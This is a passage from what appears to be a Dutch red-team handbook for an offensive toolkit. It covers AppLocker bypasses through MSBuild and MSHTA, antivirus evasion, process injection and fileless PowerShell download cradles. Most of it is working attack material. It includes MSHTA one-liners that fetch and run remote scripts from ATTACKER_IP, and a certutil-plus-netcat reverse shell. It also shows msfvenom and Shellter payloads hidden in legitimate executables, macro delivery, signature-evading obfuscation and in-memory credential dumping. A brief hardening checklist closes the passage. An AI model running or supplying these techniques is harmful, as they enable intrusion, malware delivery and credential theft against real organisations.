      <Code Type="Class" Language="cs">
        <![CDATA[
          using System;
          using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;
          public class ClassExample : Task, ITask {
            public override bool Execute() {
              // Payload hier
              return true;
            }
          }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

IB Tip: De inline task moet een <UsingTask> element bevatten met TaskFactory="CodeTaskFactory" en een verwijzing naar Microsoft.Build.Tasks.v4.0.dll voor .NET-referenties. Vergeet je dat, dan krijg je een cryptische MSBuild-foutmelding die je een half uur van je leven kost.

AppLocker Bypass 3: MSHTA.exe

MSHTA is de Microsoft HTML Application Host. Het voert .hta-bestanden uit, wat in feite HTML-pagina’s zijn met VBScript of JavaScript die buiten de browsersandbox draaien. MSHTA staat in de AppLocker-whitelist omdat het een ondertekende Windows-binary is.

Het is – en ik vind het moeilijk om dit zonder een zucht te schrijven – een van de meest misbruikte LOLBins in de geschiedenis van Windows.

Methode 1: Inline VBScript met download cradle

mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payloads/amsi-shell.ps1')"":close")

Methode 2: HTA-bestand via URL

mshta http://ATTACKER_IP/payloads/shell.hta

Methode 3: Inline JavaScript

mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").Run("powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payloads/amsi-shell.ps1')");

Methode 4: Via COM object met certutil download

mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""cmd /c certutil -urlcache -f http://ATTACKER_IP/tools/nc.exe C:\Windows\tasks\nc.exe && C:\Windows\tasks\nc.exe ATTACKER_IP 443 -e cmd.exe"":close")

Vier methoden. Vier manieren om via een door Microsoft ondertekende binary willekeurige code uit te voeren. En dit is nog maar een van de tientallen LOLBins.

IB Tip: MSHTA is een LOLBin – een Living Off The Land Binary. Dat wil zeggen: het staat al op het systeem, het is ondertekend door Microsoft, en AppLocker vertrouwt het. Detectie moet op gedrag gericht zijn: als mshta.exe een powershell.exe-kindproces start, is er iets goed mis.

AV Bypass: De Komedie van de Handtekeningen

Het Probleem met Antivirus

Laten we even eerlijk zijn over de antivirus-industrie. Het is een bedrijfstak van miljarden dollars die gebaseerd is op het volgende businessmodel: wij verkopen je een product dat malware herkent die we al kennen. Voor malware die we niet kennen, heb je pech. Maar maak je geen zorgen, want morgen kennen we die ook, en dan verkopen we je een update.

Het is alsof de politie zegt: “We kunnen elke dief pakken die we al eerder gepakt hebben. Nieuwe dieven? Daar werken we aan.”

Signature-based detection – het hart van traditionele AV – werkt door bestanden te vergelijken met een database van bekende patronen. Verander een byte, en het patroon klopt niet meer. De hele verdediging is gebaseerd op de aanname dat aanvallers te lui zijn om hun tools aan te passen. En eerlijk gezegd was die aanname jarenlang correct. Maar we leven niet meer in jarenlang.

Moderne AV-producten hebben heuristics en machine learning toegevoegd, en EDR-oplossingen kijken naar gedrag in plaats van handtekeningen. Maar de kern is nog steeds reactief: iemand moet de aanval eerst zien voordat er een detectie voor geschreven kan worden.

In deze sectie bekijken we vier technieken die in Incompetent Bastard zitten om met die realiteit om te gaan.

AV Bypass 1: DefenderCheck & AMSITrigger – Vind Wat Opvalt

Voordat je iets kunt verbergen, moet je weten wat zichtbaar is. Dat is waar DefenderCheck en AMSITrigger om de hoek komen kijken. Het zijn geen evasion-tools – het zijn diagnostische tools. Ze vertellen je welke delen van je payload de detectie triggeren.

DefenderCheck – Scan een binary:

# Vindt exact welke bytes in je binary gedetecteerd worden
DefenderCheck.exe C:\path\to\binary.exe

AMSITrigger – Scan een PowerShell-script:

# Vindt welke strings in je script AMSI triggeren
AmsiTrigger_x64.exe -i C:\path\to\script.ps1

# Verbose output voor meer detail:
AmsiTrigger_x64.exe -i C:\path\to\script.ps1 -f 3

Het iteratieve proces:

  1. Scan met DefenderCheck of AMSITrigger.
  2. Pas gedetecteerde strings aan – hernoem functies, variabelen, split strings.
  3. Obfusceer de binary met ConfuserEx.
  4. Scan opnieuw.
  5. Herhaal tot je AMSI_RESULT_NOT_DETECTED krijgt.
# Voorbeeld: string-splitting om detectie te omzeilen
# Voor:  "Invoke-Mimikatz"
# Na:    "Inv" + "oke-Mim" + "ikatz"

# Voorbeeld: Base64-encoding voor obfuscatie
$encoded = [System.Convert]::FromBase64String($payload)

Het is de digitale versie van een verdachte die steeds van vermomming wisselt tot de politiefoto niet meer klopt. Behalve dat de verdachte de politiefoto heeft en in de spiegel kan kijken.

IB Tip: Dit is een iteratief proces. Scan, pas aan, scan opnieuw. De kunst is om minimaal te wijzigen – verander alleen wat gedetecteerd wordt, niet de hele payload. Hoe meer je verandert, hoe groter de kans dat je iets kapotmaakt.

AV Bypass 2: HTA Execution

HTA-bestanden – HTML Applications – zijn een van die wonderlijke Microsoft-concepten die bedoeld waren om beheerders het leven makkelijker te maken en die in de praktijk vooral aanvallers blij maken. Een HTA draait als volwaardige applicatie, niet in een browsersandbox. Het heeft toegang tot COM-objecten, het bestandssysteem, en kan processen starten.

Generatie met msfvenom:

# HTA payload genereren met msfvenom
msfvenom -p windows/shell_reverse_tcp \
  LHOST=ATTACKER_IP LPORT=443 \
  -f hta-psh -o evil.hta

Handmatige HTA met PowerShell download cradle:

<html>
<head>
<script language="VBScript">
  Sub RunPS()
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "powershell -ep bypass -w hidden -c " & _
      "IEX(New-Object Net.WebClient).DownloadString(" & _
      "'http://ATTACKER_IP/shell.ps1')", 0
  End Sub
  RunPS
  self.close
</script>
</head>
<body></body>
</html>

Delivery-methoden:

# 1. Direct via URL (social engineering):
mshta http://ATTACKER_IP/evil.hta

# 2. Via Office macro:
# Sub AutoOpen()
#   Shell "mshta http://ATTACKER_IP/evil.hta"
# End Sub

# 3. Via command line:
mshta http://ATTACKER_IP/evil.hta

# 4. Inline (geen bestand nodig):
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run " & _
  """powershell -ep bypass -c IEX(New-Object Net.WebClient)" & _
  ".DownloadString('http://ATTACKER_IP/shell.ps1')"", 0:close")

Listener starten:

# Eenvoudig met netcat:
nc -nlvp 443

# Of via Metasploit:
msfconsole -q -x "use exploit/multi/handler; \
  set payload windows/shell_reverse_tcp; \
  set LHOST 0.0.0.0; set LPORT 443; exploit"

IB Tip: mshta.exe is een signed Windows binary – een LOLBin. self.close in het HTA-script sluit het venster direct na uitvoering, en -w hidden verbergt het PowerShell-venster. De gebruiker ziet even een flits. Misschien.

AV Bypass 3: NetLoader – In-Memory Assembly Loading

NetLoader is het Zwitserse zakmes van de evasion-toolkit. Het laadt .NET-assemblies direct in het geheugen, patcht automatisch AMSI en ETW (Event Tracing for Windows) voordat het de payload uitvoert, en laat niets achter op de schijf.

Niets. Op. De. Schijf.

Enkele stage: NetLoader laadt payload direct:

# Laad SafetyKatz (Mimikatz-variant) in memory
C:\Users\Public\Loader.exe `
  -path http://10.0.0.1/tools/SafetyKatz.exe

# Met argumenten:
C:\Users\Public\Loader.exe `
  -path http://10.0.0.1/tools/SafetyKatz.exe `
  sekurlsa::logonpasswords exit

Dubbele stage: AssemblyLoad laadt NetLoader laadt payload:

# AssemblyLoad -> NetLoader -> payload (drie lagen diep)
C:\Users\Public\AssemblyLoad.exe `
  http://10.0.0.1/tools/Loader.exe `
  -path http://10.0.0.1/tools/SafetyKatz.exe

Voorbeelden met andere payloads:

# Kerberoasting met Rubeus
C:\Users\Public\Loader.exe `
  -path http://10.0.0.1/tools/Rubeus.exe kerberoast /stats

# BloodHound data verzamelen
C:\Users\Public\Loader.exe `
  -path http://10.0.0.1/tools/SharpHound.exe `
  --CollectionMethods All

# ADCS kwetsbaarheden zoeken
C:\Users\Public\Loader.exe `
  -path http://10.0.0.1/tools/Certify.exe find /vulnerable

Het concept van dubbele staging is interessant. AssemblyLoad laadt NetLoader in het geheugen. NetLoader patcht AMSI en ETW. Daarna laadt NetLoader de eigenlijke payload – SafetyKatz, Rubeus, SharpHound – ook in het geheugen. Er zijn drie lagen, en geen van drieen raakt de schijf. Het is een Russische matroesjka-pop van evasion.

IB Tip: Loader.exe zelf moet ook AV-proof zijn. Als Defender de loader detecteert, heb je niets aan in-memory loading. Obfusceer de loader indien nodig, of gebruik de AssemblyLoad-variant als extra laag. Het is schildpadden helemaal naar beneden.

AV Bypass 4: Shellter – PE Injection

Shellter neemt een bestaande, legitieme Windows-executable en injecteert daar shellcode in. Het resultaat is een bestand dat eruitziet als PuTTY of WinSCP, maar dat bij uitvoering ook een reverse shell opzet. Het is de digitale versie van een smokkelaar die cocaïne in de binnenkant van een beeldje verstopt.

Installatie op Kali:

sudo apt install shellter
# Vereist wine (32-bit) op Linux:
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install wine32

Automatische modus:

shellter
# Kies: A (Auto)
# PE Target: /usr/share/windows-binaries/plink.exe
# Payload: L (Listed)
# Kies: 1 (meterpreter_reverse_tcp)
# LHOST: ATTACKER_IP
# LPORT: 443

Handmatige modus (betere evasion):

shellter
# Kies: M (Manual)
# PE Target: pad/naar/legit.exe
# Tracing engine vindt beschikbare code caves
# Custom payload: /pad/naar/raw_shellcode.bin

Shellcode genereren voor Shellter:

# Raw shellcode voor custom payload:
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=ATTACKER_IP LPORT=443 -f raw -o shellcode.bin

# Staged vs stageless:
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=ATTACKER_IP LPORT=443 -f raw -o staged.bin
msfvenom -p windows/meterpreter_reverse_tcp \
  LHOST=ATTACKER_IP LPORT=443 -f raw -o stageless.bin

Goede PE-targets voor injection:

IB Tip: Gebruik 32-bit PE-targets – Shellter is een 32-bit tool. Auto modus is sneller, maar Manual geeft betere evasion vanwege de code cave selectie. Gebruik altijd een verse kopie van de legitieme executable voor elke encoding. En test met DefenderCheck of ThreatCheck voordat je het naar het doelwit stuurt. Vertrouw nooit op “het werkte de vorige keer.”

AV Bypass 5: Multi-Taal Payload Obfuscatie (obfuscate_av.py)

Tot nu toe ging het over PowerShell-obfuscatie met obfuscate_ps.py. Maar payloads komen in meer smaken dan alleen .ps1. PHP webshells, ASPX shells, Python reverse shells, HTA-bestanden, VBA macro’s en platte tekst shell-scripts – ze worden allemaal door AV-engines gescand op bekende signatures. En die signatures zijn precies zo voorspelbaar als je zou verwachten.

obfuscate_av.py past hetzelfde principe toe als zijn PowerShell-broer: alleen de regels die een bekende AV-signature bevatten worden geobfusceerd. De rest blijft ongewijzigd en leesbaar. Maar de technieken zijn per taal anders, omdat elke taal zijn eigen trucjes heeft.

Ondersteunde talen en technieken:

Taal Extensie Techniek Voorbeeld
PHP .php Variable function + string concat $f='sh'.'ell_ex'.'ec'; $f($cmd)
ASPX .aspx String concatenatie + string.Concat() "cmd"+".exe", string.Concat("Process"+"StartInfo")
Python .py Base64 exec wrapper exec(__import__('base64').b64decode('...'))
HTA .hta VBScript Chr() encoding Chr(67)&Chr(114)&Chr(101)&...
VBA macro’s Chr() encoding voor API namen Chr(75)&Chr(69)&Chr(82)&... (KERNEL32)
TXT .txt Shell variabele substitutie _abc="/bin/sh" + $_abc

Bekende signatures per taal:

De signature-database is ingebouwd en bevat per taal de strings die door AV-engines als malware-indicator worden herkend:

CLI-gebruik:

# Automatische taaldetectie op basis van extensie
python3 obfuscate_av.py http/payloads/shell.php

# Output: http/payloads/shell-obf.php
# [*] Obfuscating: http/payloads/shell.php (taal: php)
# [+] Klaar: 3 string, 0 code vervangingen

# Forceer taaldetectie
python3 obfuscate_av.py payload.txt -l python

# Met eigen output pad
python3 obfuscate_av.py shell.aspx -o shell-clean.aspx

VBA obfuscatie voor macro’s:

VBA-obfuscatie werkt anders dan de rest: het wordt niet toegepast op een bestandsextensie, maar op de VBA-code in een macro. De macro generators (macro.py, macro2.py) hebben een --obfuscate-vba flag:

# Genereer macro met VBA obfuscatie
python3 macro.py 10.0.0.1 443 --obfuscate-vba

Dit vervangt API-namen als KERNEL32, VirtualAlloc en CreateThread in de gegenereerde VBA-code met Chr() concatenatie. Het resultaat: de macro werkt identiek, maar AV-engines herkennen de API-calls niet meer.

Encoder opties voor binary payloads:

Voor binaire payloads (.exe, .elf, .msi) werkt tekst-obfuscatie niet – je kunt niet zomaar bytes gaan verplaatsen in een gecompileerd programma. In plaats daarvan bieden de generators msfvenom encoder opties:

# Linux ELF met shikata_ga_nai encoding (3 iteraties)
python3 linux_elf.py 10.0.0.1 443 --encoder x86/shikata_ga_nai --iterations 3

# MSI payload met XOR encoding
python3 msi_payload.py 10.0.0.1 443 --encoder x64/xor_dynamic --iterations 5

# Meterpreter met encoder + bestaande XOR-laag
python3 meterpreter.py 10.0.0.1 443 --encoder x64/xor --iterations 2

Beschikbare encoders: x86/shikata_ga_nai, x64/xor_dynamic, x64/xor, x86/xor, x86/alpha_mixed, x64/zutto_dekiru.

Dashboard-integratie:

De obfuscatie is op drie plekken in het dashboard beschikbaar:

  1. Payload generators – Elke text-based generator (PHP shell, ASPX shell, HTA, Python reverse shell) heeft een AV Evasion checkbox. Binary generators (Linux ELF, MSI, Meterpreter) hebben een encoder dropdown en iterations veld. Macro generators hebben een VBA Obfuscatie checkbox.

  2. On-the-fly downloads – Net als bij .ps1 bestanden kunnen .php, .aspx, .py, .hta en .txt bestanden on-the-fly geobfusceerd worden bij download:

    # Geforceerde obfuscatie bij download
    curl http://10.0.0.1:5000/p/shell.php?obf=1
    curl http://10.0.0.1:5000/p/shell.aspx?obf=1
    
    # Zonder obfuscatie (ook als globale instelling aan staat)
    curl http://10.0.0.1:5000/p/shell.php?obf=0
  3. Task runner – De taak Obfuscate bestand (multi-taal) in het Tasks-paneel obfusceert elk ondersteund bestandstype via de CLI.

IB Tip: Combineer text-based obfuscatie met on-the-fly downloads voor maximale variatie. Elke download produceert een unieke variant door willekeurige splitpunten en variabelenamen. Als een specifieke variant geblokkeerd wordt door AV, download het bestand opnieuw voor een andere variant. Voor binaire payloads: gebruik encoding in combinatie met andere evasion-technieken (Shellter, in-memory loading via NetLoader). Encoding alleen is zelden voldoende tegen moderne EDR.

Process Injection: Parasiteren op Legitieme Processen

Process injection is het cuckoo-effect van malware: je legt je code in het nest van een ander proces en laat dat proces het uitvoeren. Vanuit het perspectief van het besturingssysteem draait er geen verdacht programma – er draait alleen maar explorer.exe of svchost.exe, die altijd al draaien. Het enige verschil is dat er een extra stuk code in het geheugen van dat proces zit.

Dit is fundamenteel anders dan de technieken die we tot nu toe hebben besproken. AMSI-bypasses en AppLocker-bypasses gaan over het starten van code. Process injection gaat over het verbergen van code die al draait.

Process Injection 1: CreateRemoteThread

Dit is de klassieke methode, het schoolboekvoorbeeld. Vier Windows API-calls, in deze volgorde:

  1. OpenProcess – Open een handle naar het doelproces.
  2. VirtualAllocEx – Reserveer geheugen in dat proces.
  3. WriteProcessMemory – Schrijf je shellcode naar dat geheugen.
  4. CreateRemoteThread – Start een thread in het doelproces die je shellcode uitvoert.
# Stap 1: Vind het target proces
Get-Process explorer | select Id, ProcessName

# Stap 2: De volledige injection via P/Invoke
$code = @'
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int a, bool b, int c);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
    IntPtr h, IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
    IntPtr h, IntPtr a, byte[] b, int s, ref int w);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(
    IntPtr h, IntPtr a, uint s, IntPtr l, IntPtr p, uint f, IntPtr t);
'@

$k = Add-Type -memberDefinition $code `
  -Name 'K32' -namespace Win32Functions -passthru

$proc = Get-Process explorer
$h = $k::OpenProcess(0x001F0FFF, $false, $proc.Id)
# 0x001F0FFF = PROCESS_ALL_ACCESS
Write-Host 'Handle:' $h

De flow in detail:

OpenProcess(PROCESS_ALL_ACCESS)
    |
    v
VirtualAllocEx(MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    |
    v
WriteProcessMemory(shellcode bytes)
    |
    v
CreateRemoteThread(startadres van shellcode)

Shellcode genereren:

# Genereer shellcode in C#-formaat voor gebruik in de injector
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=10.0.0.1 LPORT=443 -f csharp

IB Tip: Vermijd explorer.exe in productie-assessments – het is een van de meest gemonitorde processen. Gebruik liever een minder opvallend proces zoals RuntimeBroker.exe of smartscreen.exe. Het gaat erom dat je opvalt tussen de duizenden threads die toch al draaien, niet dat je de enige thread bent in een proces waar nooit iets gebeurt.

Process Injection 2: DLL Injection

DLL injection is de variant waarbij je geen ruwe shellcode injecteert, maar een volledige DLL. Het doelproces laadt de DLL via LoadLibrary, waarna de DllMain-functie van die DLL automatisch wordt aangeroepen.

Het voordeel boven CreateRemoteThread met shellcode: een DLL kan complexere functionaliteit bevatten, en het laden van DLL’s is een normale Windows-operatie die minder opvalt.

Stap 1: Genereer de DLL:

msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=10.0.0.1 LPORT=443 -f dll -o payload.dll

Stap 2: Upload naar target:

certutil -urlcache -f http://10.0.0.1/payloads/payload.dll `
  C:\Windows\tasks\payload.dll

Stap 3: Inject via PowerShell P/Invoke:

$code = @'
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int a, bool b, int c);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
    IntPtr h, IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
    IntPtr h, IntPtr a, byte[] b, int s, ref int w);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr h, string n);
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string n);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(
    IntPtr h, IntPtr a, uint s, IntPtr l, IntPtr p, uint f, IntPtr t);
'@

$k = Add-Type -memberDefinition $code `
  -Name 'K32' -namespace Win32 -passthru

De flow:

OpenProcess
    |
    v
VirtualAllocEx (reserveer ruimte voor DLL-pad als string)
    |
    v
WriteProcessMemory (schrijf DLL-pad naar gereserveerde ruimte)
    |
    v
GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")
    |
    v
CreateRemoteThread(LoadLibraryA, pointer naar DLL-pad)

Het verschil met de vorige techniek: in plaats van shellcode te schrijven en direct uit te voeren, schrijven we het pad naar een DLL en laten we het doelproces die DLL zelf laden. LoadLibraryA doet al het werk.

IB Tip: De DLL moet in een schrijfbaar pad staan: C:\Windows\tasks, %TEMP%, of een vergelijkbare locatie. Vergeet niet dat de DLL op schijf staat – dit is geen fileless techniek. Dat maakt het kwetsbaarder voor traditionele AV-scans. Combineer met een custom DLL die niet in de signature-database staat.

Process Injection 3: Process Hollowing

Process hollowing is de meest theatrale van de drie: je start een legitiem proces in suspended state, haalt de originele code eruit, vervangt het met je payload, en hervat het proces. Het is letterlijk een bodysnatcher-scenario.

Stap 1: Compileer de hollowing tool:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe `
  /target:exe /out:C:\Windows\tasks\hollow.exe `
  C:\Windows\tasks\hollow.cs

Stap 2: Uitvoeren:

# Vervangt svchost.exe met payload
C:\Windows\tasks\hollow.exe

Het concept in API-calls:

CreateProcess("svchost.exe", CREATE_SUSPENDED)
    |
    v
NtUnmapViewOfSection (verwijder originele code)
    |
    v
VirtualAllocEx (reserveer geheugen op origineel base address)
    |
    v
WriteProcessMemory (schrijf payload)
    |
    v
SetThreadContext (wijs instruction pointer naar payload)
    |
    v
ResumeThread (start het "svchost" proces)

Vanuit het perspectief van Windows draait er een svchost.exe-proces met het juiste parent process, de juiste naam, en de juiste locatie op schijf. Alleen de code in het geheugen is compleet anders. Het is alsof iemand je auto steelt, een andere motor erin zet, en hem terugparkeert op dezelfde plek. Van buiten ziet alles er normaal uit.

Alternatief met Donut:

# Donut converteert een .NET executable naar shellcode
# voor gebruik in een gehollowed proces
donut.exe -f payload.exe -o payload.bin -a 2 -e 3

IB Tip: Gebruik een trusted process als host: svchost.exe, RuntimeBroker.exe, of SearchProtocolHost.exe. Combineer met Parent PID Spoofing voor extra stealth – dan lijkt het alsof het proces door services.exe is gestart in plaats van door jouw payload. Maar let op: moderne EDR kijkt naar de inhoud van het geheugen, niet alleen naar de procesnaam.

PowerShell Cradles: Fileless Delivery

Waarom Cradles?

Een download cradle is een stukje code dat een payload van een remote server haalt en direct in het geheugen uitvoert, zonder het naar schijf te schrijven. Het woord “cradle” is wellicht het vriendelijkste woord ooit gebruikt voor iets wat in feite een digitale aflevering is.

De reden dat cradles zo populair zijn, is simpel: als er niets op de schijf staat, kan een bestandsgebaseerde AV-scan niets vinden. Het bestand bestaat niet. Er is geen hash om te vergelijken, geen bestandsnaam om te flaggen, geen tijdstempel om te correleren. Het enige bewijs is in het geheugen, en geheugen is vluchtig.

Microsoft heeft vijf verschillende manieren om HTTP-requests te doen in PowerShell ingebouwd. Dat is alsof een slotenmaker vijf verschillende lockpicks in een gratis goodiebag uitdeelt. Hier zijn ze allemaal.

Cradle 1: Invoke-WebRequest (IWR)

De meest gebruikte cradle in PowerShell 3.0 en hoger.

# Kort: download en execute in memory
iex (iwr 'http://10.0.0.1/payloads/amsi-shell.ps1' -UseBasicParsing)

# Lang: met variabele
$resp = Invoke-WebRequest `
  -Uri 'http://10.0.0.1/payloads/amsi-shell.ps1' `
  -UseBasicParsing
IEX $resp.Content

# File naar schijf (als je dat wilt):
Invoke-WebRequest `
  -Uri 'http://10.0.0.1/tools/Rubeus.exe' `
  -OutFile 'C:\Windows\tasks\Rubeus.exe'

IB Tip: -UseBasicParsing voorkomt de IE engine dependency en werkt op Server Core waar IE niet geinstalleerd is. iwr is het alias voor Invoke-WebRequest – korter, minder opvallend in logs (hoewel je niet op die illusie moet vertrouwen).

Cradle 2: WebClient (Net.WebClient)

De klassieker. De cradle die in elke tutorial staat, in elke blog verschijnt, en in elke detectieregel zit. En toch werkt het nog steeds, omdat niet iedereen die detectieregels heeft geimplementeerd.

# De standaard download cradle
iex (New-Object Net.WebClient).DownloadString(
    'http://10.0.0.1/payloads/amsi-shell.ps1')

# Met proxy awareness (voor corporate omgevingen):
$wc = New-Object Net.WebClient
$wc.Proxy = [Net.WebRequest]::GetSystemWebProxy()
$wc.Proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
IEX $wc.DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')

# File naar schijf:
(New-Object Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/Rubeus.exe',
    'C:\Windows\tasks\Rubeus.exe')

De proxy-aware variant is cruciaal in zakelijke omgevingen. Veel bedrijven routeren al het verkeer door een proxyserver. Zonder de proxyconfiguratie mislukt je cradle simpelweg – en dan zit je in een bedrijfsnetwerk met een half werkende aanval en een gefrustreerde blik.

IB Tip: IEX is het alias voor Invoke-Expression en wordt zwaar gedetecteerd. Alternatieven:

# Alternatief 1: Gebruik iex via iwr
iex(iwr 'http://...' -UseBasicParsing)

# Alternatief 2: Via InvokeCommand
$ExecutionContext.InvokeCommand.InvokeScript(
    (New-Object Net.WebClient).DownloadString('http://...')
)

Cradle 3: System.NET.WebRequest

De low-level variant die minder voorkomt in tutorials en daarom minder voorkomt in detectieregels. Het is als het gebruik van de achteringang terwijl iedereen de voordeur in de gaten houdt.

# WebRequest cradle
$wr = [System.NET.WebRequest]::Create(
    "http://10.0.0.1/payloads/amsi-shell.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

# Met proxy settings:
$wr = [System.NET.WebRequest]::Create(
    "http://10.0.0.1/payloads/amsi-shell.ps1")
$wr.Proxy = [System.NET.WebRequest]::DefaultWebProxy
$wr.Proxy.Credentials = `
    [System.NET.CredentialCache]::DefaultNetworkCredentials
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

IB Tip: Meer low-level dan WebClient of IWR, en daardoor minder gelogd in sommige omgevingen. Een goed alternatief als WebClient geblokkeerd is door AppLocker – WebRequest gebruikt een andere code path.

Cradle 4: COM Internet Explorer Object

En dan is er de cradle die niemand verwacht, omdat niemand in zijn rechterverstand Internet Explorer als downloadtool zou gebruiken. Wat natuurlijk precies is waarom het werkt.

# IE COM object cradle
$ie = New-Object -ComObject InternetExplorer.Application
$ie.visible = $False
$ie.navigate('http://10.0.0.1/payloads/amsi-shell.ps1')
sleep 5
$response = $ie.Document.body.innerHTML
$ie.quit()
iex $response

Dit start een onzichtbare Internet Explorer-instantie, navigeert naar de payload-URL, wacht vijf seconden (de meest optimistische sleep in de geschiedenis van de informatica), leest de inhoud van de pagina, sluit IE, en voert de code uit.

Het is belachelijk. Het is onhandig. Het vereist dat IE geinstalleerd is. En het is de minst gedetecteerde cradle van allemaal, precies omdat het zo belachelijk is dat niemand er een detectieregel voor heeft geschreven.

IB Tip: Vereist dat IE geinstalleerd is – werkt niet op Server Core of Windows 11+ (waar IE verwijderd is). De sleep 5 is nodig om de pagina te laden; verhoog bij trage verbindingen. En ja, het is inderdaad een cradle die afhankelijk is van Internet Explorer. We leven in bijzondere tijden.

Cradle 5: XMLHTTP COM Object

De laatste variant gebruikt het Msxml2.XMLHTTP-COM-object, dat buiten de .NET-stack om werkt en daardoor een ander detectieprofiel heeft.

# XMLHTTP cradle
$h = New-Object -ComObject Msxml2.XMLHTTP
$h.open('GET', 'http://10.0.0.1/payloads/amsi-shell.ps1', $false)
$h.send()
iex $h.responseText

# ServerXMLHTTP variant (gaat door proxy):
$h = New-Object -ComObject Msxml2.ServerXMLHTTP
$h.open('GET', 'http://10.0.0.1/payloads/amsi-shell.ps1', $false)
$h.send()
iex $h.responseText

Het verschil tussen XMLHTTP en ServerXMLHTTP: de laatste is proxy-aware en werkt daarom beter in zakelijke omgevingen waar een proxyserver verplicht is.

IB Tip: De XMLHTTP-cradle werkt ook in Constrained Language Mode, omdat COM-objects wel toegestaan zijn. Dit maakt het een goede fallback-optie als CLM actief is maar je nog geen CLM-bypass hebt uitgevoerd.

Cradles: De Vergelijking

Cradle Detectiekans Proxy-aware CLM-compatible Opmerking
Invoke-WebRequest Hoog Nee* Nee Meest gebruikt, meest gedetecteerd
Net.WebClient Hoog Ja (handmatig) Nee De klassieker
WebRequest Medium Ja (handmatig) Nee Low-level alternatief
IE COM Laag Ja (IE-proxy) Ja Vereist IE; Windows 10 only
XMLHTTP COM Laag Ja (Server-variant) Ja Beste all-round optie

* IWR kan proxy-aware gemaakt worden met extra parameters.

Verdediging: Hoe Je Dit Allemaal Stopt

Na twintig technieken om verdedigingen te omzeilen, is het tijd om de andere kant van het verhaal te vertellen. Want dit is geen boek voor aanvallers – het is een boek voor verdedigers die willen begrijpen hoe aanvallers denken.

EDR: Endpoint Detection and Response

Moderne EDR-oplossingen gaan verder dan signature-based detection. Ze kijken naar gedragingen:

Constrained Language Mode – Goed Geconfigureerd

CLM is niet waardeloos als het correct is geconfigureerd:

Code Signing

Vereisen dat alle scripts en executables digitaal ondertekend zijn, is een van de meest effectieve verdedigingen:

Het is niet waterdicht – gestolen code signing-certificaten zijn een ding – maar het verhoogt de lat aanzienlijk.

Praktische Hardening Checklist

  1. Schakel PowerShell v2 uit.
  2. Implementeer WDAC in plaats van (of naast) AppLocker.
  3. Activeer en monitor Script Block Logging.
  4. Blokkeer LOLBins die niet nodig zijn (mshta.exe, cscript.exe, wscript.exe).
  5. Monitor procesrelaties – welk proces start welk kindproces.
  6. Implementeer Credential Guard om credential dumping te beperken.
  7. Patch, patch, patch. De meeste AMSI-bypasses werken tegen specifieke versies. Updates breken ze.

Een Woord over de Antivirus-Industrie

Er is een oude wijsheid: als je een idioot een mooi pak aantrekt, krijg je geen slimmer persoon – je krijgt een idioot in een mooi pak.

De antivirus-industrie heeft vijftig miljard dollar per jaar aan mooie pakken aangetrokken. Ze verkoopt reactieve detectie als proactieve bescherming. Ze noemt signature-updates “threat intelligence.” Ze plakt machine learning-labels op patroonherkenning die een informaticstudent in een weekend zou kunnen schrijven. En ze adverteert met detectiepercentages van 99,9% – wat indrukwekkend klinkt tot je beseft dat er elke dag drie miljoen nieuwe malware-samples verschijnen, en 0,1% daarvan drieduizend gemiste detecties per dag betekent.

Het echte probleem is niet dat AV slecht is. AV vangt het leeuwendeel van commodity malware. Het probleem is dat organisaties denken dat AV genoeg is. Dat ze een product installeren, achterover leunen, en denken: “We zijn beveiligd.” Dat is alsof je een slot op je voordeur zet en concludeert dat je huis inbraakvrij is, terwijl het raam op de eerste verdieping open staat, de achterdeur niet op slot zit, en je de reservesleutel onder de deurmat hebt gelegd.

Beveiliging is geen product. Het is een proces. Het is lagen – defence in depth. AMSI plus AppLocker plus EDR plus netwerksegmentatie plus monitoring plus incident response plus – en dit is het belangrijkste – mensen die weten wat ze doen.

De technieken in dit hoofdstuk bewijzen dat geen enkele laag onkwetsbaar is. Maar elke laag maakt de aanval moeilijker, duurder, en – cruciaal – detecteerbaarder. Een aanvaller die vijf bypasses moet uitvoeren, maakt vijf keer zoveel geluid als een aanvaller die er nul hoeft uit te voeren. En geluid is wat verdedigers nodig hebben.

IB Tips: Samenvatting

AMSI: - Patch niet blindelings – test eerst met AMSITrigger welke strings gedetecteerd worden. - Combineer bypasses: InvisiShell voor logging, memory patch voor AMSI, dan pas je eigenlijke tooling. - Na elke Windows-update: hertest je bypasses. Microsoft patcht ze regelmatig.

